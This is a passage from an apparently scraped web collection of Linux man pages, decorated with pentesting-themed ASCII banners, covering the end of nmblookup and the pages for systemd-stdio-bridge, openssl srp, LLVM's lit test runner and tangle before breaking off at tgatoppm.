Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-R|–name-resolve=NAME-RESOLVE-ORDER

This option is used to determine what naming services and in what order to resolve host names to IP addresses. The option takes a space-separated string of different name resolution options. The best is to wrap the whole –name-resolve=NAME-RESOLVE-ORDER into quotes.

The options are: “lmhosts”, “host”, “wins” and “bcast”. They cause names to be resolved as follows:

·

lmhosts: Lookup an IP address in the Samba lmhosts file. If the line in lmhosts has no name type attached to the NetBIOS name (see the lmhosts(5) for details) then any name type matches for lookup.

·

host: Do a standard host name to IP address resolution, using the system /etc/hosts, NIS, or DNS lookups. This method of name resolution is operating system dependent, for instance on IRIX or Solaris this may be controlled by the /etc/nsswitch.conf file). Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.

·

wins: Query a name with the IP address listed in the wins server parameter. If no WINS server has been specified this method will be ignored.

·

bcast: Do a broadcast on each of the known local interfaces listed in the interfaces parameter. This is the least reliable of the name resolution methods as it depends on the target host being on a locally connected subnet.

If this parameter is not set then the name resolve order defined in the /etc/samba/smb.conf file parameter (name resolve order) will be used.

The default order is lmhosts, host, wins, bcast. Without this parameter or any entry in the name resolve order parameter of the /etc/samba/smb.conf file, the name resolution methods will be attempted in this order.

-O|–socket-options=SOCKETOPTIONS

TCP socket options to set on the client socket. See the socket options parameter in the /etc/samba/smb.conf manual page for the list of valid options.

-m|–max-protocol=MAXPROTOCOL

The value of the parameter (a string) is the highest protocol level that will be supported by the client.

Note that specifying this parameter here will override the client max protocol parameter in the /etc/samba/smb.conf file.

-n|–netbiosname=NETBIOSNAME

This option allows you to override the NetBIOS name that Samba uses for itself. This is identical to setting the netbios name parameter in the /etc/samba/smb.conf file. However, a command line setting will take precedence over settings in /etc/samba/smb.conf.

–netbios-scope=SCOPE

This specifies a NetBIOS scope that nmblookup will use to communicate with when generating NetBIOS names. For details on the use of NetBIOS scopes, see rfc1001.txt and rfc1002.txt. NetBIOS scopes are very rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with.

-W|–workgroup=WORKGROUP

Set the SMB domain of the username. This overrides the default domain which is the domain defined in smb.conf. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM).

Note that specifying this parameter here will override the workgroup parameter in the /etc/samba/smb.conf file.

-r|–realm=REALM

Set the realm for the domain.

Note that specifying this parameter here will override the realm parameter in the /etc/samba/smb.conf file.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

EXAMPLES

nmblookup can be used to query a WINS server (in the same way nslookup is used to query DNS servers). To query a WINS server, nmblookup must be called like this:

nmblookup -U server -R name

For example, running :

nmblookup -U samba.org -R IRIX#1B

would query the WINS server samba.org for the domain master browser (1B name type) for the IRIX workgroup.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

SEE ALSO

nmbd(8), samba(7), and smb.conf(5).

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

977 - Linux cli command systemd-stdio-bridge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-stdio-bridge and provides detailed information about the command systemd-stdio-bridge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-stdio-bridge.

NAME 🖥️ systemd-stdio-bridge 🖥️

stdio-bridge - D-Bus proxy

SYNOPSIS

systemd-stdio-bridge [OPTIONS…]

DESCRIPTION

systemd-stdio-bridge implements a proxy between STDIN/STDOUT and a D-Bus bus. It expects to receive an open connection via STDIN/STDOUT when started, and will create a new connection to the specified bus. It will then forward messages between the two connections. This program is suitable for socket activation: the first connection may be a pipe or a socket and must be passed as either standard input, or as an open file descriptor according to the protocol described in sd_listen_fds(3). The second connection will be made by default to the local system bus, but this can be influenced by the –user, –system, –machine=, and –bus-path= options described below.

sd-bus(3) uses systemd-stdio-bridge to forward D-Bus connections over ssh(1), or to connect to the bus of a different user, see sd_bus_set_address(3).

OPTIONS

The following options are understood:

–user

Talk to the service manager of the calling user, rather than the service manager of the system.

–system

Talk to the service manager of the system. This is the implied default.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-p PATH, **–bus-path=**PATH

Path to the bus address. Default: “unix:path=/run/dbus/system_bus_socket”

Added in version 251.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

dbus-daemon(1), dbus-broker(1), D-Bus[1], systemd(1)

NOTES

D-Bus

https://www.freedesktop.org/wiki/Software/dbus

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

978 - Linux cli command openssl-srpssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-srpssl and provides detailed information about the command openssl-srpssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-srpssl.

NAME 🖥️ openssl-srpssl 🖥️

srp - maintain SRP password file

SYNOPSIS

openssl srp [-help] [-verbose] [-add] [-modify] [-delete] [-list] [-name section] [-srpvfile file] [-gn identifier] [-userinfo text] [-passin arg] [-passout arg] [-engine id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] [-config configfile] [user …]

DESCRIPTION

This command is deprecated. It is used to maintain an SRP (secure remote password) file. At most one of the -add, -modify, -delete, and -list options can be specified. These options take zero or more usernames as parameters and perform the appropriate operation on the SRP file. For -list, if no user is given then all users are displayed.

The configuration file to use, and the section within the file, can be specified with the -config and -name flags, respectively.

OPTIONS

-help
Display an option summary.

-verbose
Generate verbose output while processing.

-add
Add a user and SRP verifier.

-modify
Modify the SRP verifier of an existing user.

-delete
Delete user from verifier file.

-list
List users.

-name
The particular SRP definition to use.

-srpvfile file
If the config file is not specified, -srpvfile can be used to specify the file to operate on.

-gn
Specifies the g and N values, using one of the strengths defined in IETF RFC 5054.

-userinfo
specifies additional information to add when adding or modifying a user.

-passin arg, -passout arg
The password source for the input and output file. For more information about the format of arg see openssl-passphrase-options (1).

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-config configfile
See “Configuration Option” in openssl (1). [-rand files] [-writerand file]

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2017-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

979 - Linux cli command lit-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lit-17 and provides detailed information about the command lit-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lit-17.

NAME 🖥️ lit-17 🖥️

LLVM Integrated Tester

SYNOPSIS

lit [options] [tests]

DESCRIPTION

lit is a portable tool for executing LLVM and Clang style test suites, summarizing their results, and providing indication of failures. lit is designed to be a lightweight testing tool with as simple a user interface as possible.

lit should be run with one or more tests to run specified on the command line. Tests can be either individual test files or directories to search for tests (see TEST DISCOVERY).

Each specified test will be executed (potentially concurrently) and once all tests have been run lit will print summary information on the number of tests which passed or failed (see TEST STATUS RESULTS). The lit program will execute with a non-zero exit code if any tests fail.

By default lit will use a succinct progress display and will only print summary information for test failures. See OUTPUT OPTIONS for options controlling the lit progress display and output.

lit also includes a number of options for controlling how tests are executed (specific features may depend on the particular test format). See EXECUTION OPTIONS for more information.

Finally, lit also supports additional options for only running a subset of the options specified on the command line, see SELECTION OPTIONS for more information.

lit parses options from the environment variable LIT_OPTS after parsing options from the command line. LIT_OPTS is primarily useful for supplementing or overriding the command-line options supplied to lit by check targets defined by a project’s build system.

lit can also read options from response files which are specified as inputs using the @path/to/file.rsp syntax. Arguments read from a file must be one per line and are treated as if they were in the same place as the original file referencing argument on the command line. A response file can reference other response files.

Users interested in the lit architecture or designing a lit testing implementation should see LIT INFRASTRUCTURE.

GENERAL OPTIONS

-h, –help
Show the lit help message.

-j N, –workers=N
Run N tests in parallel. By default, this is automatically chosen to match the number of detected available CPUs.

–config-prefix=NAME
Search for NAME**.cfg** and NAME**.site.cfg** when searching for test suites, instead of lit.cfg and lit.site.cfg.

-D NAME[=VALUE], –param NAME[=VALUE]
Add a user defined parameter NAME with the given VALUE (or the empty string if not given). The meaning and use of these parameters is test suite dependent.

OUTPUT OPTIONS

-q, –quiet
Suppress any output except for test failures.

-s, –succinct
Show less output, for example don’t show information on tests that pass. Also show a progress bar, unless –no-progress-bar is specified.

-v, –verbose
Show more information on test failures, for example the entire test output instead of just the test result.

-vv, –echo-all-commands
On test failure, echo all commands to stdout as they are being executed. This can be valuable for debugging test failures, as the last echoed command will be the one which has failed. lit normally inserts a no-op command (: in the case of bash) with argument ‘RUN: at line N’ before each command pipeline, and this option also causes those no-op commands to be echoed to stdout to help you locate the source line of the failed command. This option implies –verbose.

-a, –show-all
Show more information about all tests, for example the entire test commandline and output.

–no-progress-bar
Do not use curses based progress bar.

–show-unsupported
Show the names of unsupported tests.

–show-xfail
Show the names of tests that were expected to fail.

EXECUTION OPTIONS

–path=PATH
Specify an additional PATH to use when searching for executables in tests.

–vg
Run individual tests under valgrind (using the memcheck tool). The –error-exitcode argument for valgrind is used so that valgrind failures will cause the program to exit with a non-zero status.

When this option is enabled, lit will also automatically provide a “valgrind” feature that can be used to conditionally disable (or expect failure in) certain tests.

–vg-arg=ARG
When –vg is used, specify an additional argument to pass to valgrind itself.

–vg-leak
When –vg is used, enable memory leak checks. When this option is enabled, lit will also automatically provide a “vg_leak” feature that can be used to conditionally disable (or expect failure in) certain tests.

–time-tests
Track the wall time individual tests take to execute and includes the results in the summary output. This is useful for determining which tests in a test suite take the most time to execute.

–ignore-fail
Exit with status zero even if some tests fail.

SELECTION OPTIONS

By default, lit will run failing tests first, then run tests in descending execution time order to optimize concurrency. The execution order can be changed using the –order option.

The timing data is stored in the test_exec_root in a file named .lit_test_times.txt. If this file does not exist, then lit checks the test_source_root for the file to optionally accelerate clean builds.

–shuffle
Run the tests in a random order, not failing/slowest first. Deprecated, use –order instead.

–max-failures N
Stop execution after the given number N of failures. An integer argument should be passed on the command line prior to execution.

–max-tests=N
Run at most N tests and then terminate.

–max-time=N
Spend at most N seconds (approximately) running tests and then terminate. Note that this is not an alias for –timeout; the two are different kinds of maximums.

–num-shards=M
Divide the set of selected tests into M equal-sized subsets or “shards”, and run only one of them. Must be used with the –run-shard=N option, which selects the shard to run. The environment variable LIT_NUM_SHARDS can also be used in place of this option. These two options provide a coarse mechanism for partitioning large testsuites, for parallel execution on separate machines (say in a large testing farm).

–order={lexical,random,smart}
Define the order in which tests are run. The supported values are:

  • lexical - tests will be run in lexical order according to the test file path. This option is useful when predictable test order is desired.

  • random - tests will be run in random order.

  • smart - tests that failed previously will be run first, then the remaining tests, all in descending execution time order. This is the default as it optimizes concurrency.

–run-shard=N
Select which shard to run, assuming the –num-shards=M option was provided. The two options must be used together, and the value of N must be in the range 1..M. The environment variable LIT_RUN_SHARD can also be used in place of this option.

–timeout=N
Spend at most N seconds (approximately) running each individual test. 0 means no time limit, and 0 is the default. Note that this is not an alias for –max-time; the two are different kinds of maximums.

–filter=REGEXP
Run only those tests whose name matches the regular expression specified in REGEXP. The environment variable LIT_FILTER can be also used in place of this option, which is especially useful in environments where the call to lit is issued indirectly.

–filter-out=REGEXP
Filter out those tests whose name matches the regular expression specified in REGEXP. The environment variable LIT_FILTER_OUT can be also used in place of this option, which is especially useful in environments where the call to lit is issued indirectly.

–xfail=LIST
Treat those tests whose name is in the semicolon separated list LIST as XFAIL. This can be helpful when one does not want to modify the test suite. The environment variable LIT_XFAIL can be also used in place of this option, which is especially useful in environments where the call to lit is issued indirectly.

A test name can specified as a file name relative to the test suite directory. For example:

LIT_XFAIL=“affinity/kmp-hw-subset.c;offloading/memory_manager.cpp”

In this case, all of the following tests are treated as XFAIL:

libomp :: affinity/kmp-hw-subset.c libomptarget :: nvptx64-nvidia-cuda :: offloading/memory_manager.cpp libomptarget :: x86_64-pc-linux-gnu :: offloading/memory_manager.cpp

Alternatively, a test name can be specified as the full test name reported in LIT output. For example, we can adjust the previous example not to treat the nvptx64-nvidia-cuda version of offloading/memory_manager.cpp as XFAIL:

LIT_XFAIL=“affinity/kmp-hw-subset.c;libomptarget :: x86_64-pc-linux-gnu :: offloading/memory_manager.cpp”

–xfail-not=LIST
Do not treat the specified tests as XFAIL. The environment variable LIT_XFAIL_NOT can also be used in place of this option. The syntax is the same as for –xfail and LIT_XFAIL. –xfail-not and LIT_XFAIL_NOT always override all other XFAIL specifications, including an –xfail appearing later on the command line. The primary purpose is to suppress an XPASS result without modifying a test case that uses the XFAIL directive.

ADDITIONAL OPTIONS

–debug
Run lit in debug mode, for debugging configuration issues and lit itself.

–show-suites
List the discovered test suites and exit.

–show-tests
List all of the discovered tests and exit.

EXIT STATUS

lit will exit with an exit code of 1 if there are any FAIL or XPASS results. Otherwise, it will exit with the status 0. Other exit codes are used for non-test related failures (for example a user error or an internal program error).

TEST DISCOVERY

The inputs passed to lit can be either individual tests, or entire directories or hierarchies of tests to run. When lit starts up, the first thing it does is convert the inputs into a complete list of tests to run as part of test discovery.

In the lit model, every test must exist inside some test suite. lit resolves the inputs specified on the command line to test suites by searching upwards from the input path until it finds a lit.cfg or lit.site.cfg file. These files serve as both a marker of test suites and as configuration files which lit loads in order to understand how to find and run the tests inside the test suite.

Once lit has mapped the inputs into test suites it traverses the list of inputs adding tests for individual files and recursively searching for tests in directories.

This behavior makes it easy to specify a subset of tests to run, while still allowing the test suite configuration to control exactly how tests are interpreted. In addition, lit always identifies tests by the test suite they are in, and their relative path inside the test suite. For appropriately configured projects, this allows lit to provide convenient and flexible support for out-of-tree builds.

TEST STATUS RESULTS

Each test ultimately produces one of the following eight results:

PASS

The test succeeded.

FLAKYPASS

The test succeeded after being re-run more than once. This only applies to tests containing an ALLOW_RETRIES: annotation.

XFAIL

The test failed, but that is expected. This is used for test formats which allow specifying that a test does not currently work, but wish to leave it in the test suite.

XPASS

The test succeeded, but it was expected to fail. This is used for tests which were specified as expected to fail, but are now succeeding (generally because the feature they test was broken and has been fixed).

FAIL

The test failed.

UNRESOLVED

The test result could not be determined. For example, this occurs when the test could not be run, the test itself is invalid, or the test was interrupted.

UNSUPPORTED

The test is not supported in this environment. This is used by test formats which can report unsupported tests.

TIMEOUT

The test was run, but it timed out before it was able to complete. This is considered a failure.

Depending on the test format tests may produce additional information about their status (generally only for failures). See the OUTPUT OPTIONS section for more information.

LIT INFRASTRUCTURE

This section describes the lit testing architecture for users interested in creating a new lit testing implementation, or extending an existing one.

lit proper is primarily an infrastructure for discovering and running arbitrary tests, and to expose a single convenient interface to these tests. lit itself doesn’t know how to run tests, rather this logic is defined by test suites.

TEST SUITES

As described in TEST DISCOVERY, tests are always located inside a test suite. Test suites serve to define the format of the tests they contain, the logic for finding those tests, and any additional information to run the tests.

lit identifies test suites as directories containing lit.cfg or lit.site.cfg files (see also –config-prefix). Test suites are initially discovered by recursively searching up the directory hierarchy for all the input files passed on the command line. You can use –show-suites to display the discovered test suites at startup.

Once a test suite is discovered, its config file is loaded. Config files themselves are Python modules which will be executed. When the config file is executed, two important global variables are predefined:

lit_config

The global lit configuration object (a LitConfig instance), which defines the builtin test formats, global configuration parameters, and other helper routines for implementing test configurations.

config

This is the config object (a TestingConfig instance) for the test suite, which the config file is expected to populate. The following variables are also available on the config object, some of which must be set by the config and others are optional or predefined:

name [required] The name of the test suite, for use in reports and diagnostics.

test_format [required] The test format object which will be used to discover and run tests in the test suite. Generally this will be a builtin test format available from the lit.formats module.

test_source_root The filesystem path to the test suite root. For out-of-dir builds this is the directory that will be scanned for tests.

test_exec_root For out-of-dir builds, the path to the test suite root inside the object directory. This is where tests will be run and temporary output files placed.

environment A dictionary representing the environment to use when executing tests in the suite.

standalone_tests When true, mark a directory with tests expected to be run standalone. Test discovery is disabled for that directory. lit.suffixes and lit.excludes must be empty when this variable is true.

suffixes For lit test formats which scan directories for tests, this variable is a list of suffixes to identify test files. Used by: ShTest.

substitutions For lit test formats which substitute variables into a test script, the list of substitutions to perform. Used by: ShTest.

unsupported Mark an unsupported directory, all tests within it will be reported as unsupported. Used by: ShTest.

parent The parent configuration, this is the config object for the directory containing the test suite, or None.

root The root configuration. This is the top-most lit configuration in the project.

pipefail Normally a test using a shell pipe fails if any of the commands on the pipe fail. If this is not desired, setting this variable to false makes the test fail only if the last command in the pipe fails.

available_features A set of features that can be used in XFAIL, REQUIRES, and UNSUPPORTED directives.

TEST DISCOVERY

Once test suites are located, lit recursively traverses the source directory (following test_source_root) looking for tests. When lit enters a sub-directory, it first checks to see if a nested test suite is defined in that directory. If so, it loads that test suite recursively, otherwise it instantiates a local test config for the directory (see LOCAL CONFIGURATION FILES).

Tests are identified by the test suite they are contained within, and the relative path inside that suite. Note that the relative path may not refer to an actual file on disk; some test formats (such as GoogleTest) define “virtual tests” which have a path that contains both the path to the actual test file and a subpath to identify the virtual test.

LOCAL CONFIGURATION FILES

When lit loads a subdirectory in a test suite, it instantiates a local test configuration by cloning the configuration for the parent directory — the root of this configuration chain will always be a test suite. Once the test configuration is cloned lit checks for a lit.local.cfg file in the subdirectory. If present, this file will be loaded and can be used to specialize the configuration for each individual directory. This facility can be used to define subdirectories of optional tests, or to change other configuration parameters — for example, to change the test format, or the suffixes which identify test files.

SUBSTITUTIONS

lit allows patterns to be substituted inside RUN commands. It also provides the following base set of substitutions, which are defined in TestRunner.py:

MacroSubstitution
%ssource path (path to the file currently being run)
_
%Ssource dir (directory of the file currently being run)
_
%psame as %S
_
%{pathsep}path separator
_
%{fs-src-root}root component of file system paths pointing to the LLVM checkout
_
%{fs-tmp-root}root component of file system paths pointing to the test’s temporary directory
_
%{fs-sep}file system path separator
_
%ttemporary file name unique to the test
_
%basename_tThe last path component of %t but without the .tmp extension
_
%Tparent directory of %t (not unique, deprecated, do not use)
_
%%%
_
%/s%s but \ is replaced by /
_
%/S%S but \ is replaced by /
_
%/p%p but \ is replaced by /
_
%/t%t but \ is replaced by /
_
%/T%T but \ is replaced by /
_
%{/s:regex_replacement}%/s but escaped for use in the replacement of a s@@@ command in sed
_
%{/S:regex_replacement}%/S but escaped for use in the replacement of a s@@@ command in sed
_
%{/p:regex_replacement}%/p but escaped for use in the replacement of a s@@@ command in sed
_
%{/t:regex_replacement}%/t but escaped for use in the replacement of a s@@@ command in sed
_
%{/T:regex_replacement}%/T but escaped for use in the replacement of a s@@@ command in sed
_
%:sOn Windows, %/s but a : is removed if its the second character. Otherwise, %s but with a single leading / removed.
_
%:SOn Windows, %/S but a : is removed if its the second character. Otherwise, %S but with a single leading / removed.
_
%:pOn Windows, %/p but a : is removed if its the second character. Otherwise, %p but with a single leading / removed.
_
%:tOn Windows, %/t but a : is removed if its the second character. Otherwise, %t but with a single leading / removed.
_
%:TOn Windows, %/T but a : is removed if its the second character. Otherwise, %T but with a single leading / removed.

Other substitutions are provided that are variations on this base set and further substitution patterns can be defined by each test module. See the modules LOCAL CONFIGURATION FILES.

More detailed information on substitutions can be found in the LLVM Testing Infrastructure Guide.

TEST RUN OUTPUT FORMAT

The lit output for a test run conforms to the following schema, in both short and verbose modes (although in short mode no PASS lines will be shown). This schema has been chosen to be relatively easy to reliably parse by a machine (for example in buildbot log scraping), and for other tools to generate.

Each test result is expected to appear on a line that matches:

: ()

where <result-code> is a standard test result such as PASS, FAIL, XFAIL, XPASS, UNRESOLVED, or UNSUPPORTED. The performance result codes of IMPROVED and REGRESSED are also allowed.

The <test name> field can consist of an arbitrary string containing no newline.

The <progress info> field can be used to report progress information such as (1/300) or can be empty, but even when empty the parentheses are required.

Each test result may include additional (multiline) log information in the following format:

TEST ‘()’ … log message …

where <test name> should be the name of a preceding reported test, <log delineator> is a string of “*” characters at least four characters long (the recommended length is 20), and <trailing delineator> is an arbitrary (unparsed) string.

The following is an example of a test run output which consists of four tests A, B, C, and D, and a log message for the failing test C:

PASS: A (1 of 4) PASS: B (2 of 4) FAIL: C (3 of 4) ******************** TEST ‘C’ FAILED ******************** Test ‘C’ failed as a result of exit code 1. ******************** PASS: D (4 of 4)

LIT EXAMPLE TESTS

The lit distribution contains several example implementations of test suites in the ExampleTests directory.

SEE ALSO

valgrind(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

980 - Linux cli command otangle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command otangle and provides detailed information about the command otangle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the otangle.

NAME 🖥️ otangle 🖥️

translate WEB to Pascal

SYNOPSIS

tangle [options] webfile[.web] [{changefile[.ch]|-} [outfile[.p]]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The tangle program converts a Web source document into a Pascal program that may be compiled in the usual way with the on-line Pascal compiler (e.g., pc(1)). The output file is packed into lines of 72 characters or less, with the only concession to readability being the termination of lines at semicolons when this can be done conveniently.

The Web language allows you to prepare a single document containing all the information that is needed both to produce a compilable Pascal program and to produce a well-formatted document describing the program in as much detail as the writer may desire. The user of Web must be familiar with both TeX and Pascal. Web also provides a relatively simple, although adequate, macro facility that permits a Pascal program to be written in small easily-understood modules.

The command line should have one, two or three names on it. The first is taken as the Web file (and .web is added if there is no extension). If there is second name, it is a change file (and .ch is added if there is no extension). The change file overrides parts of the Web file, as described in the Web system documentation.

If there is a third name, it is the Pascal output file (and .p is added if there is no extension). In this case you can specify an empty change file with ‘-’ as the second argument. Otherwise the name of the Pascal file is formed by adding .p to the root of the Web file name.

An optional second output file is a string pool file, whose name is formed by adding .pool to the root of the Pascal file name.

OPTIONS

This version of tangle understands the following options. Note that some of these options may render the output unsuitable for processing by a Pascal compiler.

–help
Print help message and exit.

–length* number*
Compare only the first number characters of identifiers when checking for collisions. The default is 32, the original tangle used 7.

–loose
When checking for collisions between identifiers, honor the settings of the –lowercase, –mixedcase, –uppercase, and –underline options. This is the default.

–lowercase
Convert all identifiers to lowercase.

–mixedcase
Retain the case of identifiers. This is the default.

–strict
When checking for collisions between identifiers, strip underlines and convert all identifiers to uppercase first.

–underline
Retain underlines (also known as underscores) in identifiers.

–uppercase
Convert all identifiers to uppercase. This is the behaviour of the original tangle.

–version
Print version information and exit.

ENVIRONMENT

The environment variable WEBINPUTS is used to search for the input files, or the system default if WEBINPUTS is not set. See tex(1) for the details of the searching.

SEE ALSO

pc(1), pxp(1) (for formatting tangle output when debugging), tex(1).

Donald E. Knuth, The Web System of Structured Documentation.

Donald E. Knuth, Literate Programming, Computer Journal 27, 97-111, 1984.

Wayne Sewell, Weaving a Program, Van Nostrand Reinhold, 1989, ISBN 0-442-31946-0.

Donald E. Knuth, TeX: The Program (Volume B of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13437-3.

Donald E. Knuth, Metafont: The Program (Volume D of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13438-1.

These last two are by far the largest extant examples of Web programs.

There is an active Internet electronic mail discussion list on the subject of literate programming; send a subscription request to [email protected] to join.

AUTHORS

Web was designed by Donald E. Knuth, based on an earlier system called DOC (implemented by Ignacio Zabala). The tangle and weave programs are themselves written in Web. The system was originally ported to Unix at Stanford by Howard Trickey, and at Cornell by Pavel Curtis.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

981 - Linux cli command tgatoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tgatoppm and provides detailed information about the command tgatoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tgatoppm.

.

NAME 🖥️ tgatoppm 🖥️

